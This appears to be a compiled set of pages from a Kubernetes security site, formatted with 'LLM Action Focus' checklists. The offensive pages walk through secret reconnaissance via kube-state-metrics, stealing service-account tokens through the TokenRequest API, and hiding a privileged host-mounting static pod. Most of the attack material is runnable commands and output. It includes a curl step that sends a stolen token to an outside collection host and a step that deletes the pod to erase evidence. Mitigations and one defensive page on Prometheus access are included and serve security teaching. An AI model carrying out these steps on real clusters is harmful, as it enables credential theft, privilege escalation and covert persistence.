"^kube_secret_info" ``` ```output kube_secret_info{namespace="argocd",secret="argocd-redis"} 1 kube_secret_info{namespace="argocd",secret="argocd-notifications-secret"} 1 kube_secret_info{namespace="argocd",secret="argocd-secret"} 1 kube_secret_info{namespace="argocd",secret="argocd-initial-admin-secret"} 1 kube_secret_info{namespace="istio-system",secret="istio-ca-secret"} 1 kube_secret_info{namespace="production-app",secret="db-credentials"} 1 kube_secret_info{namespace="production-app",secret="api-keys"} 1 kube_secret_info{namespace="monitoring",secret="sh.helm.release.v1.prometheus.v1"} 1 kube_secret_info{namespace="monitoring",secret="sh.helm.release.v1.prometheus.v2"} 1 ``` The `kube_secret_type` metric adds the secret type to each entry, revealing which secrets hold TLS certificates, which are generic secrets, and which are Helm release state: ```bash curl -s http://prometheus-kube-state-metrics.monitoring.svc.cluster.local:8080/metrics \ | grep "^kube_secret_type" ``` ```output kube_secret_type{namespace="argocd",secret="argocd-redis",type="Opaque"} 1 kube_secret_type{namespace="argocd",secret="argocd-notifications-secret",type="Opaque"} 1 kube_secret_type{namespace="argocd",secret="argocd-secret",type="Opaque"} 1 kube_secret_type{namespace="argocd",secret="argocd-initial-admin-secret",type="Opaque"} 1 kube_secret_type{namespace="istio-system",secret="istio-ca-secret",type="istio.io/ca-root"} 1 kube_secret_type{namespace="production-app",secret="db-credentials",type="Opaque"} 1 kube_secret_type{namespace="production-app",secret="api-keys",type="Opaque"} 1 kube_secret_type{namespace="monitoring",secret="sh.helm.release.v1.prometheus.v1",type="helm.sh/release.v1"} 1 kube_secret_type{namespace="monitoring",secret="sh.helm.release.v1.prometheus.v2",type="helm.sh/release.v1"} 1 kube_secret_type{namespace="kyverno",secret="kyverno-svc.kyverno.svc.kyverno-tls-ca",type="kubernetes.io/tls"} 1 kube_secret_type{namespace="kyverno",secret="kyverno-cleanup-controller.kyverno.svc.kyverno-tls-pair",type="kubernetes.io/tls"} 1 ``` From these two queries alone, an attacker can identify high-value targets. `argocd-initial-admin-secret` signals the presence of the ArgoCD initial admin credential, which is a high-value target for UI access. `istio-ca-secret` identifies the Istio root CA material, which is a target for certificate forgery attacks. `db-credentials` and `api-keys` in a `production-app` namespace are self-describing targets for follow-up exploitation. ## Harvesting Secret Labels > [!TIP] > Applies to: **metricLabelsAllowlist enabled** When `metricLabelsAllowlist` is configured to include secrets, the `kube_secret_labels` metric exposes all labels attached to each secret as additional dimensions: ```bash curl -s http://prometheus-kube-state-metrics.monitoring.svc.cluster.local:8080/metrics \ | grep "^kube_secret_labels" ``` ```output kube_secret_labels{namespace="production-app",secret="api-keys",label_environment="production",label_sensitivity="critical",label_service="stripe",label_team="payments",label_vault_path="prod.api-keys"} 1 kube_secret_labels{namespace="production-app",secret="db-credentials",label_environment="production",label_managed_by="vault-agent",label_rotation_policy="30d",label_sensitivity="high",label_team="backend",label_vault_path="prod.database"} 1 kube_secret_labels{namespace="argocd",secret="argocd-notifications-secret",label_app_kubernetes_io_component="notifications-controller",label_app_kubernetes_io_name="argocd-notifications-controller",label_app_kubernetes_io_part_of="argocd"} 1 kube_secret_labels{namespace="argocd",secret="argocd-secret",label_app_kubernetes_io_name="argocd-secret",label_app_kubernetes_io_part_of="argocd"} 1 kube_secret_labels{namespace="monitoring",secret="sh.helm.release.v1.prometheus.v1",label_name="prometheus",label_owner="helm",label_status="superseded",label_version="1"} 1 kube_secret_labels{namespace="monitoring",secret="sh.helm.release.v1.prometheus.v2",label_name="prometheus",label_owner="helm",label_status="deployed",label_version="2"} 1 ``` The `api-keys` secret reveals `label_service=stripe` and `label_vault_path=prod.api-keys`. Combined with knowledge of the Vault auth path, an attacker can attempt to request those credentials from the Vault API using the pod's mounted service account token if the service account is bound to that Vault role. ### Persistence via Unbound Service Account Tokens HTML: https://kubernetes-security.cloud/topics/persistence-via-unbound-serviceaccount-tokens Markdown: https://kubernetes-security.cloud/topics/persistence-via-unbound-serviceaccount-tokens.md --- title: "Persistence via Unbound Service Account Tokens" description: "Using unbound tokens from the TokenRequest API to maintain cluster access after deleting the attacking pod" category: "offensive" phase: "persistence" offensiveType: "persistence" impact: "An attacker can request an unbound token for a privileged service account, delete the attacking pod to eliminate the only visible in-cluster artifact, and continue using the token from outside the cluster until it expires. The token is not tied to any pod lifecycle and leaves no persistent object in etcd. Detection relies entirely on audit logs." mitigation: - "Alert on TokenRequest audit events where the request body has no boundObjectRef and the target service account differs from the requester's own account." - "Set --service-account-max-token-expiration on the API server to cap the maximum lifetime of all issued tokens, preventing attackers from requesting tokens valid for years." - "Restrict create on serviceaccounts/token using resourceNames so roles can only target named service accounts." - "Correlate TokenRequest events with pod deletion events in a short time window to detect the retrieve-and-delete pattern." tools: - "kubectl" - "curl" mitreTechniques: - "T1550.001" - "T1078" - "T1528" kubernetesVersion: null createdAt: "2026-04-14T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Step 1: Request an unbound token and exfiltrate it in a single operation - Category: offensive - Phase: Persistence - Objective: Using unbound tokens from the TokenRequest API to maintain cluster access after deleting the attacking pod ### Action checklist - Step 1: Request an unbound token and exfiltrate it in a single operation - Step 2: Delete the compromised pod to remove in-cluster evidence - Step 3: Continue accessing the cluster externally using the exfiltrated token ### Key commands - `curl -sk https:///api/v1/namespaces/default/secrets \` - `-H "Authorization: Bearer "` - `APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"` - `TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)` - `CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt` - `STOLEN=$(curl -s -X POST \` - `"${APISERVER}/api/v1/namespaces/kube-system/serviceaccounts/replicaset-controller/token" \` - `--cacert "${CACERT}" \` - `-H "Authorization: Bearer ${TOKEN}" \` - `-H "Content-Type: application/json" \` --- A compromised pod is a visible artifact. It appears in workload listings, produces audit log entries, and can be discovered and terminated. An attacker operating from inside that pod needs a credential that outlasts their presence in the cluster before they clean up. > [!WARNING] > The compromised pod's service account must hold `create` on `serviceaccounts/token` in the namespace where the target service account lives. If the target is `replicaset-controller` in `kube-system`, the RBAC grant must exist in `kube-system`, regardless of which namespace the attacker's pod runs in. The TokenRequest API is the mechanism Kubernetes provides for issuing short-lived tokens to running workloads at runtime. The kubelet, admission controllers, and service mesh sidecars all use it. Its safety property is the `boundObjectRef` field, which ties a token to a specific pod. When that pod is deleted, the token dies with it. Ephemeral credentials tied to a workload's lifetime are the intended use. Omitting `boundObjectRef` turns this safety mechanism off. The token is no longer tied to any object in the cluster. It remains valid until its `exp` claim regardless of what happens to the pod that requested it. ## Why unbound tokens persist The `TokenRequest` spec accepts an optional `boundObjectRef` that ties the token to a pod. When present, the API server validates that the bound pod still exists on each authentication attempt. When the bound pod is deleted, the token is invalidated. When `boundObjectRef` is omitted, the token is independent of any in-cluster object and the API server has no object to check. The token survives for the full `expirationSeconds` duration. The API server enforces that the bound pod must be running as the same service account as the token being requested. A token for `replicaset-controller` can only be bound to a pod with `serviceAccountName: replicaset-controller`. Attempting to bind it to a pod running as a different service account results in a 422 error at token issuance time. An unbound token request omits `boundObjectRef` entirely: ```json { "apiVersion": "authentication.k8s.io/v1", "kind": "TokenRequest", "spec": { "expirationSeconds": 3600 } } ``` After the pod is deleted, the unbound token remains valid. The API server returns a **403 Forbidden** response, which means the credential was accepted and RBAC was evaluated. The identity is recognized and the token is alive. Only the specific action was denied by RBAC: ```bash curl -sk https:///api/v1/namespaces/default/secrets \ -H "Authorization: Bearer " ``` ```output { "kind": "Status", "code": 403, "message": "secrets is forbidden: User \"system:serviceaccount:kube-system:replicaset-controller\" cannot list resource \"secrets\" in API group \"\" in the namespace \"default\"" } ``` For comparison, a bound token (with `boundObjectRef`) would return **401 Unauthorized** after the bound pod is deleted. The token itself is rejected before reaching authorization. The invalidation is delayed by up to approximately 10 seconds due to a hardcoded token authentication cache in the kube-apiserver. The success cache TTL is 10 seconds, set in `pkg/kubeapiserver/options/authentication.go`. On a cache hit the bound pod existence check is bypassed entirely. After the cache expires, the pod lookup sees the deletion within a few seconds of informer propagation. This cache TTL is not configurable via CLI flags for the core kube-apiserver. Despite this delay, the bound token is eventually dead. An unbound token has no such dependency and survives until its `exp` claim. ## RBAC permissions The attacker needs only `create` on `serviceaccounts/token` in the target namespace: ```yaml rules: - apiGroups: [""] resources: ["serviceaccounts/token"] verbs: ["create"] ``` This is the same permission used in [Privilege Escalation via serviceaccounts/token Permission](/topics/privilege-escalation-via-serviceaccount-token-creation). When the RBAC rule does not include `resourceNames`, the attacker can target every service account in the namespace, not just their own. No `get` on `serviceaccounts`, no `create` on `pods` (after the initial pod is running), and no access to `secrets` are required. The TokenRequest API does not create a Secret object. The token is returned in the API response body only. ## The attack sequence This technique requires already holding sufficient RBAC privileges, at minimum `create` on `serviceaccounts/token` for a target service account. That access may have come from a compromised workload running as a privileged service account, or from a prior privilege escalation step. Requesting an unbound token and exfiltrating it turns that access into a persistent credential that survives after the pod is gone. Deleting the pod removes the only object that ties the attacker to the cluster. ### Step 1: Request an unbound token and exfiltrate it in a single operation The attacker uses the pod's auto-mounted service account credential to call the TokenRequest API. The target in this example is `replicaset-controller` in `kube-system`, which is bound to the `system:controller:replicaset-controller` ClusterRole and holds cluster-wide pod creation and deletion permissions. The request omits `boundObjectRef` so the resulting token is unbound. The token is captured in a shell variable and piped directly to the exfiltration request. Nothing is written to disk: ```bash APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}" TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt STOLEN=$(curl -s -X POST \ "${APISERVER}/api/v1/namespaces/kube-system/serviceaccounts/replicaset-controller/token" \ --cacert "${CACERT}" \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"apiVersion":"authentication.k8s.io/v1","kind":"TokenRequest","spec":{"expirationSeconds":3600}}' \ | jq -r '.status.token') curl -s -X POST https:///collect \ -d "token=${STOLEN}" ``` ### Step 2: Delete the compromised pod to remove in-cluster evidence The pod runs in `kube-system` because that is where the RBAC grant exists. It can be deleted using the stolen token itself, because `replicaset-controller` holds pod delete permissions across all namespaces: ```bash curl -sk -X DELETE https://:6443/api/v1/namespaces/kube-system/pods/compromised-pod \ -H "Authorization: Bearer " ``` ### Step 3: Continue accessing the cluster externally using the exfiltrated token The attacker authenticates to the API server from outside the cluster using the stolen token. The API server accepts the credential because the token was never tied to the deleted pod: ```bash curl -sk https://:6443/api/v1/namespaces/kube-system/pods \ -H "Authorization: Bearer " ``` At this point the cluster has no running pod belonging to the attacker, no Secret containing the token, and no persistent object in etcd. ServiceAccount token rotation does not invalidate the stolen credential because the token was issued by the TokenRequest API, not stored as a Secret. The only artifact is a single audit log entry from the token request. ## Maximizing token lifetime When `--service-account-max-token-expiration` is not set on the API server, there is no ceiling on `expirationSeconds`. An attacker can request a token valid for years: ```json { "apiVersion": "authentication.k8s.io/v1", "kind": "TokenRequest", "spec": { "expirationSeconds": 999999999 } } ``` The resulting token is signed by the API server's private key and cannot be revoked. It remains valid until its `exp` claim regardless of any changes to RBAC bindings, pod state, or service account rotation. Setting `--service-account-max-token-expiration` caps all issued tokens regardless of what the caller requests: ```bash kube-apiserver --service-account-max-token-expiration=3600 ... ``` With this flag set to one hour, requesting 999999999 seconds still produces a token that expires in one hour. Some managed Kubernetes distributions enforce their own limits. AWS EKS limits the maximum token lifetime to 24 hours. Azure AKS and Google GKE apply their own defaults as well. ## Why this is a distinct technique The privilege escalation documented in [Privilege Escalation via serviceaccounts/token Permission](/topics/privilege-escalation-via-serviceaccount-token-creation) focuses on acquiring a more privileged identity using the `serviceaccounts/token` subresource. That technique describes how the token is obtained. This one covers what comes next, using an unbound token to maintain access with no in-cluster footprint. | Aspect | Privilege escalation | Unbound token persistence | | --- | --- | --- | | Goal | Acquire a privileged identity | Maintain access without in-cluster presence | | Evidence in cluster | Running pod | None after pod deletion | | Detection surface | Running workloads + audit log | Audit log only | | Mitigation priority | Restrict token creation permissions | Cap token lifetime, alert on unbound requests | The key differentiator is the absence of `boundObjectRef`. A request without `boundObjectRef` where the target service account differs from the requester is the signal that distinguishes persistence from normal token usage. Detection signals and audit policy configuration for this technique are covered in [Detecting Unbound Service Account Token Persistence](/topics/detecting-unbound-serviceaccount-token-persistence). ### Privilege Escalation via serviceaccounts/token Permission HTML: https://kubernetes-security.cloud/topics/privilege-escalation-via-serviceaccount-token-creation Markdown: https://kubernetes-security.cloud/topics/privilege-escalation-via-serviceaccount-token-creation.md --- title: "Privilege Escalation via serviceaccounts/token Permission" description: "How create permission on the serviceaccounts/token subresource enables acquiring tokens for more privileged service accounts without pods or Secrets" category: "offensive" phase: "privilege-escalation" offensiveType: "privilege-escalation" impact: "An attacker with create on serviceaccounts/token in any namespace can generate a valid, usable token for any service account in that namespace, including ones bound to powerful cluster roles. No pod needs to exist. No Secret is created. The operation leaves only an audit log entry." mitigation: - "Treat create on serviceaccounts/token as a privileged permission equivalent to impersonation. Audit every binding that grants it." - "Scope token-requestor roles to a single named service account using resourceNames rather than granting access to all accounts in a namespace." tools: - "kubectl" - "curl" mitreTechniques: - "T1528" - "T1550" - "T1078" kubernetesVersion: null createdAt: "2026-04-12T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Step 1: Verify the permission - Category: offensive - Phase: Privilege Escalation - Objective: How create permission on the serviceaccounts/token subresource enables acquiring tokens for more privileged service accounts without pods or Secrets ### Action checklist - Step 1: Verify the permission - Step 2: Identify a privileged target - Step 3: Request the token - Step 4: Verify the escalation ### Key commands - `kubectl auth can-i create serviceaccounts/token -n ` - `kubectl auth can-i create serviceaccounts --subresource=token -n ` - `kubectl get serviceaccounts -n -o name` - `kubectl auth can-i --list -n \` - `--as=system:serviceaccount::` - `APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"` - `TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)` - `CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt` - `curl -s -X POST \` - `"${APISERVER}/api/v1/namespaces/kube-system/serviceaccounts/replicaset-controller/token" \` --- ## How the TokenRequest API works The TokenRequest API issues short-lived tokens on demand. The API endpoint is: ``` POST /api/v1/namespaces//serviceaccounts//token ``` A caller sends a `TokenRequest` body specifying how long the token should live and which audiences it should be valid for: ```json { "apiVersion": "authentication.k8s.io/v1", "kind": "TokenRequest", "spec": { "expirationSeconds": 3600, "audiences": ["https://kubernetes.default.svc.cluster.local"] } } ``` The `spec` also accepts an optional `boundObjectRef` field that ties the resulting token to the lifetime of a specific pod or Secret. Without it the token is unbound: it remains valid until `exp` regardless of whether the requesting workload still exists. A caller with `create` on the `serviceaccounts/token` subresource can call this endpoint for any service account the RBAC rule covers, not just its own. The token is generated in memory and never written to etcd. Old-style service account tokens were auto-created as Secret objects and persisted in etcd, which meant they survived restarts, appeared in etcd backups, and were visible to anyone with read access to Secrets. The TokenRequest API was introduced to replace that model. The API server signs the token using `--service-account-signing-key-file`, writes it into the HTTP response body, and performs no etcd write. No Secret object is created. The credential cannot be retrieved after the API response is returned, which means exfiltration at issuance time is the only window to capture it. The API server has no requirement that the requester and the target be the same identity, which means any over-permissive grant of the subresource becomes an impersonation primitive. ## RBAC permissions The minimum RBAC rule that enables this technique is: ```yaml rules: - apiGroups: [""] resources: ["serviceaccounts/token"] verbs: ["create"] ``` The attacker does not need `get` on `serviceaccounts`, `create` on `pods`, or access to `secrets`. This single rule is sufficient to request a token for any service account in the namespace. Scoping the rule with `resourceNames` limits which accounts can be targeted but does not prevent escalation. If any named account holds elevated privileges, the attacker can still acquire its token. ## The attack sequence ### Step 1: Verify the permission `kubectl auth can-i` does not evaluate `resourceNames`-scoped rules. When the role restricts access to specific service accounts by name, both the slash form and the `--subresource` form return `no`, even though the permission is real and the token request will succeed. ```bash kubectl auth can-i create serviceaccounts/token -n ``` ```output no ``` ```bash kubectl auth can-i create serviceaccounts --subresource=token -n ``` ```output no ``` Both return `no` because `SelfSubjectAccessReview` does not evaluate rules with `resourceNames`. The check is blind to scoped grants. The actual token request bypasses this check entirely and succeeds as long as the role covers the target account name. ### Step 2: Identify a privileged target Enumeration is not always necessary. Several service accounts exist by default in every Kubernetes cluster and are worth targeting directly without prior discovery. The `default` service account is present in every namespace but carries no permissions by default. It becomes a target only when operators bind roles to it directly, which happens when workloads are deployed without a dedicated service account. Confirm a role is bound before treating it as useful. In `kube-system`, service accounts such as `replicaset-controller`, `deployment-controller`, and `horizontal-pod-autoscaler` are created by the cluster itself and hold broad permissions over their respective resources. These names are fixed across all standard Kubernetes installations and can be targeted without any prior enumeration. When service account names are not known in advance, list all accounts in the namespace: ```bash kubectl get serviceaccounts -n -o name ``` To identify which accounts hold useful permissions without access to RoleBindings, probe using impersonation: ```bash kubectl auth can-i --list -n \ --as=system:serviceaccount:: ``` ### Step 3: Request the token The target in this scenario is `replicaset-controller` in `kube-system`, a service account present in every standard Kubernetes installation. It is bound to the `system:controller:replicaset-controller` ClusterRole, which grants `create` and `delete` on pods across all namespaces: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: system:controller:replicaset-controller rules: - apiGroups: ["apps", "extensions"] resources: ["replicasets"] verbs: ["get", "list", "update", "watch"] - apiGroups: ["apps", "extensions"] resources: ["replicasets/status"] verbs: ["update"] - apiGroups: ["apps", "extensions"] resources: ["replicasets/finalizers"] verbs: ["update"] - apiGroups: [""] resources: ["pods"] verbs: ["create", "delete", "list", "patch", "watch"] - apiGroups: ["", "events.k8s.io"] resources: ["events"] verbs: ["create", "patch", "update"] ``` An attacker whose workload runs in any namespace only needs a `Role` in `kube-system` granting `create` on `serviceaccounts/token` for the target account. Scoping the role with `resourceNames` does not prevent escalation. It only controls which service accounts are in scope. If the named account holds elevated privileges, the outcome is identical to an unscoped grant: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: token-requestor namespace: kube-system rules: - apiGroups: [""] resources: ["serviceaccounts/token"] verbs: ["create"] resourceNames: ["replicaset-controller"] ``` From inside a pod with this permission, use the auto-mounted credential to call the TokenRequest API directly. The `kubernetes.default.svc` DNS name may not resolve in all pod configurations. Use the `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` environment variables instead: ```bash APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}" TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt curl -s -X POST \ "${APISERVER}/api/v1/namespaces/kube-system/serviceaccounts/replicaset-controller/token" \ --cacert "${CACERT}" \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"apiVersion":"authentication.k8s.io/v1","kind":"TokenRequest","spec":{"expirationSeconds":3600}}' ``` A successful request returns HTTP 201 with the token in `status.token`: ```output { "kind": "TokenRequest", "apiVersion": "authentication.k8s.io/v1", "status": { "token": "eyJhbGciOiJSUzI1NiIsImtpZCI6...", "expirationTimestamp": "2026-04-12T10:14:03Z" } } ``` The returned token is signed by the API server's `--service-account-signing-key-file`. Its JWT payload contains: | Claim | Value | | --- | --- | | `sub` | `system:serviceaccount:kube-system:replicaset-controller` | | `iss` | value of `--service-account-issuer` on the API server | | `aud` | audience from the request spec, defaults to the API server issuer URL | | `kubernetes.io.namespace` | `kube-system` | | `kubernetes.io.serviceaccount.name` | `replicaset-controller` | | `exp` | `now + expirationSeconds` | | `iat` | token issuance time | | `nbf` | not-before time, equal to `iat` | | `jti` | unique token identifier | ### Step 4: Verify the escalation Confirm the permission difference between the attacker's own identity and the retrieved token. The attacker's own service account has no pod creation permission: ```bash kubectl auth can-i create pods -n default \ --as=system:serviceaccount:default:default ``` ```output no ``` The retrieved token carries cluster-wide pod creation and deletion: ```bash kubectl auth can-i create pods -n default \ --as=system:serviceaccount:kube-system:replicaset-controller ``` ```output yes ``` To verify using the actual escalated token rather than `--as` impersonation: ```bash kubectl auth can-i create pods -n default --token="" ``` ```output yes ``` Once the escalated token is in hand, it can be exfiltrated and used to maintain access from outside the cluster without leaving any in-cluster footprint. That lifecycle (exfiltration, pod deletion, and external persistence) is covered in [Persistence via Unbound Service Account Tokens](/topics/persistence-via-unbound-serviceaccount-tokens). ### Restricting Prometheus Endpoint Access HTML: https://kubernetes-security.cloud/topics/restricting-prometheus-endpoint-access Markdown: https://kubernetes-security.cloud/topics/restricting-prometheus-endpoint-access.md --- title: "Restricting Prometheus Endpoint Access" description: "Preventing unauthenticated access to Prometheus metrics that expose cluster topology, pod identities, and internal service addresses" category: "defensive" phase: null offensiveType: null impact: "An open Prometheus endpoint gives an attacker inside the cluster a full map of namespaces, pod names, container images, service IPs, and node details without making a single Kubernetes API call. Enabling authentication and restricting network access removes that passive reconnaissance path." mitigation: - "Enable basic auth or TLS on the Prometheus HTTP endpoint using the --web.config.file flag" - "Apply a NetworkPolicy that restricts ingress to the Prometheus pod to only authorized namespaces or pods, blocking arbitrary workloads from querying the metrics API" - "Treat port-forward access to the Prometheus pod as a sensitive operation subject to the same RBAC controls as other privileged resources" tools: [] mitreTechniques: [] kubernetesVersion: null createdAt: "2026-04-12T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Restricting Prometheus Endpoint Access - Category: defensive - Phase: N/A - Objective: Preventing unauthenticated access to Prometheus metrics that expose cluster topology, pod identities, and internal service addresses ### Action checklist ### Key commands - `python3 -c "import bcrypt; print(bcrypt.hashpw(b'your-password', bcrypt.gensalt(rounds=10)).decode())"` --- Prometheus ships with no authentication enabled by default. Any pod in the cluster that can reach the Prometheus service can query the full metrics database, retrieve container image inventories, map internal services, and read node details, all without touching the Kubernetes API. Two controls close this gap: enabling authentication on the Prometheus HTTP endpoint and restricting network access via NetworkPolicy. ## Enabling Basic Auth via web.config.file Prometheus supports basic auth through a web configuration file passed via the `--web.config.file` flag. The file uses bcrypt-hashed passwords. Generate a bcrypt hash for the password: ```bash python3 -c "import bcrypt; print(bcrypt.hashpw(b'your-password', bcrypt.gensalt(rounds=10)).decode())" ``` ```output $2b$10$OFBLW.e.aIu5vio8uMN3TO4qXzs9BuIj970yGTmOezdwfVavwhLTW ``` Create the web configuration file: ```yaml basic_auth_users: admin: $2b$10$OFBLW.e.aIu5vio8uMN3TO4qXzs9BuIj970yGTmOezdwfVavwhLTW ``` Store it as a ConfigMap and mount it into the Prometheus pod: ```yaml apiVersion: v1 kind: ConfigMap metadata: name: prometheus-web-config namespace: monitoring data: web.yml: | basic_auth_users: admin: $2b$10$OFBLW.e.aIu5vio8uMN3TO4qXzs9BuIj970yGTmOezdwfVavwhLTW ``` Pass the flag and mount the volume in the Prometheus deployment: ```yaml containers: - name: prometheus-server args: - --web.config.file=/etc/prometheus/web-config/web.yml volumeMounts: - name: web-config mountPath: /etc/prometheus/web-config volumes: - name: web-config configMap: name: prometheus-web-config ``` Once the pod restarts, unauthenticated requests return `401 Unauthorized`: ```output HTTP/1.1 401 Unauthorized ``` Requests with valid credentials return `200 OK`: ```output HTTP/1.1 200 OK ``` If using the [prometheus-community Helm chart](https://github.com/prometheus-community/helm-charts), you may need to configure health probes to use basic auth credentials, as the default probes typically use plain HTTP. Consult the chart documentation for the specific configuration options available in your chart version. ## Restricting Access with NetworkPolicy A NetworkPolicy limits which pods can initiate connections to the Prometheus pod. The following policy denies all ingress to the Prometheus pod except from pods carrying the label `role: monitoring-access`: ```yaml apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: prometheus-restrict-ingress namespace: monitoring spec: podSelector: matchLabels: app.kubernetes.io/name: prometheus app.kubernetes.io/component: server policyTypes: - Ingress ingress: - from: - podSelector: matchLabels: role: monitoring-access ports: - protocol: TCP port: 9090 ``` To also allow access from a specific namespace such as a dedicated Grafana namespace: ```yaml ingress: - from: - namespaceSelector: matchLabels: kubernetes.io/metadata.name: grafana - podSelector: matchLabels: role: monitoring-access ports: - protocol: TCP port: 9090 ``` NetworkPolicy enforcement depends on the CNI plugin. CNIs like Calico, Cilium, Weave Net, and others support NetworkPolicy enforcement. ## Limitations - **Authentication weaknesses**: Basic auth credentials are transmitted as base64-encoded strings. Without TLS, credentials are readable on the network. Basic auth also lacks modern security features like multi-factor authentication or token expiration. - **Credential management**: The bcrypt passwords must be stored in ConfigMaps or Secrets. Credential rotation requires updating the ConfigMap and restarting Prometheus pods. - **Network bypass methods**: NetworkPolicy only restricts pod-to-pod traffic. It does not protect against `kubectl port-forward` (which bypasses the pod network), direct node access, or external service exposure via NodePort, LoadBalancer, or Ingress. - **Administrative endpoints**: Basic auth protects the metrics API, but Prometheus exposes administrative endpoints like `/-/reload` and `/-/quit` that may require separate protection. - **RBAC for port-forward**: Restricting the `pods/portforward` verb via RBAC covers kubectl access. A role that grants read access to pods without allowing port-forward: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: prometheus-read-only namespace: monitoring rules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "list"] ``` Any attempt to port-forward without the `pods/portforward` verb is rejected at the API server: ```output error: pods "prometheus-server-8545d4469-dq4td" is forbidden: User "system:serviceaccount:monitoring:restricted-user" cannot create resource "pods/portforward" in API group "" in the namespace "monitoring" ``` ### Rogue Static Pod Deployment HTML: https://kubernetes-security.cloud/topics/rogue-static-pod-deployment Markdown: https://kubernetes-security.cloud/topics/rogue-static-pod-deployment.md --- title: "Rogue Static Pod Deployment" description: "Deploying static pod manifests that bypass API server admission to run containers invisible to kubectl and API-based monitoring" category: "offensive" phase: "persistence" offensiveType: "persistence" impact: "An attacker with root access to a Kubernetes node can run privileged containers that are permanently invisible to kubectl, produce no API server audit log entries for pod creation, and persist across kubelet restarts. The containers bypass Pod Security Admission policies, can mount the host filesystem, and can only be discovered via direct node-level inspection" mitigation: - "Monitor the static pod manifest directory with a file integrity monitoring tool and alert on any new or modified files" - "Configure kubelet log alerting for the message \"Failed creating a mirror pod\". This is the only API-visible signal that a container is running without a mirror pod" - "Use a node-level runtime security tool (Falco, Tetragon) to detect container creation events that originate from the kubelet without a corresponding API server pod object" - "Restrict write access to `/etc/kubernetes/manifests` to root and verify this with regular permission audits on control plane and worker nodes" tools: - "crictl" mitreTechniques: - "T1610" - "T1543.005" - "T1564" kubernetesVersion: null createdAt: "2026-05-11T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Step 1: Locate the static pod manifest directory - Category: offensive - Phase: Persistence - Objective: Deploying static pod manifests that bypass API server admission to run containers invisible to kubectl and API-based monitoring ### Action checklist - Step 1: Locate the static pod manifest directory - Step 2: Write the hidden pod manifest - Step 3: Verify the container is running - Step 4: Confirm kubectl cannot see it - Step 5: Execute commands in the hidden container ### Key commands - `grep staticPodPath /var/lib/kubelet/config.yaml` - `cat /etc/hostname` - `cp hidden-pod.yaml /etc/kubernetes/manifests/hidden-pod.yaml` - `crictl pods | grep hidden-pod` - `crictl ps | grep hidden-pod` - `kubectl get pods -A | grep hidden-pod` - `CONTAINER_ID=$(crictl ps | awk '/hidden-pod/ {print $1}')` - `crictl exec -it "$CONTAINER_ID" /bin/sh` - `chroot /host /bin/sh` - `kubeletctl pods --server 127.0.0.1` --- The kubelet starts static pod containers directly through the container runtime before it ever contacts the API server. The **mirror pod** is the API object that makes the pod visible to `kubectl`. It is registered in a separate step after the container is already running. If the API server rejects the mirror pod creation, the rejection has no effect on the container. An attacker with root access to any node can write a static pod manifest that the kubelet starts immediately but the API server refuses to register, producing a running container with no API representation. This is not a vulnerability in the Kubernetes codebase. It is a consequence of the kubelet's architecture: static pods are a node-level primitive that predates cluster-wide admission control. The gap is that the container runtime and admission control are two separate subsystems with no synchronization between them. This technique assumes the attacker has already gained a root-level shell on a worker node, typically through a container escape, exposed kubelet API, or compromised SSH credentials. ## The attack sequence The attacker writes a static pod manifest targeting a namespace that does not exist. The kubelet starts the container and repeatedly tries to register the mirror pod. Every attempt fails with a `namespace-not-found` error. The container runs indefinitely. ### Step 1: Locate the static pod manifest directory The `staticPodPath` field in the KubeletConfiguration file specifies the directory the kubelet watches for static pod manifests. On kubeadm clusters, the kubelet config is at `/var/lib/kubelet/config.yaml`: ```bash grep staticPodPath /var/lib/kubelet/config.yaml ``` ```output staticPodPath: /etc/kubernetes/manifests ``` Also record the node hostname. The kubelet appends the node hostname to the local pod name, which appears in `crictl` output: ```bash cat /etc/hostname ``` ```output worker-1 ``` ### Step 2: Write the hidden pod manifest Create a manifest targeting a namespace that does not exist in the cluster. The kubelet starts the container immediately on detecting the new file via inotify filesystem watch, then tries and fails to create the mirror pod. The pod spec below mounts the host root filesystem and runs privileged, configurations that would be blocked by any reasonable admission policy: ```yaml apiVersion: v1 kind: Pod metadata: name: hidden-pod namespace: nonexistent-ns spec: hostPID: true containers: - name: hidden-pod image: alpine command: ["/bin/sh", "-c", "while true; do sleep 3600; done"] securityContext: privileged: true volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / ``` Write the manifest to the static pod directory: ```bash cp hidden-pod.yaml /etc/kubernetes/manifests/hidden-pod.yaml ``` ### Step 3: Verify the container is running Check the container runtime directly. The kubelet names the local pod sandbox using the node hostname as a suffix: ```bash crictl pods | grep hidden-pod ``` ```output 89d585212ff8b 5 seconds ago Ready hidden-pod-worker-1 nonexistent-ns 0 (default) ``` ```bash crictl ps | grep hidden-pod ``` ```output 78c94040ffd50 alpine 5 seconds ago Running hidden-pod 0 89d585212ff8b hidden-pod-worker-1 ``` The container is running with `privileged: true` and the host filesystem mounted at `/host`. ### Step 4: Confirm kubectl cannot see it ```bash kubectl get pods -A | grep hidden-pod ``` ```output ``` No output. The pod does not exist in 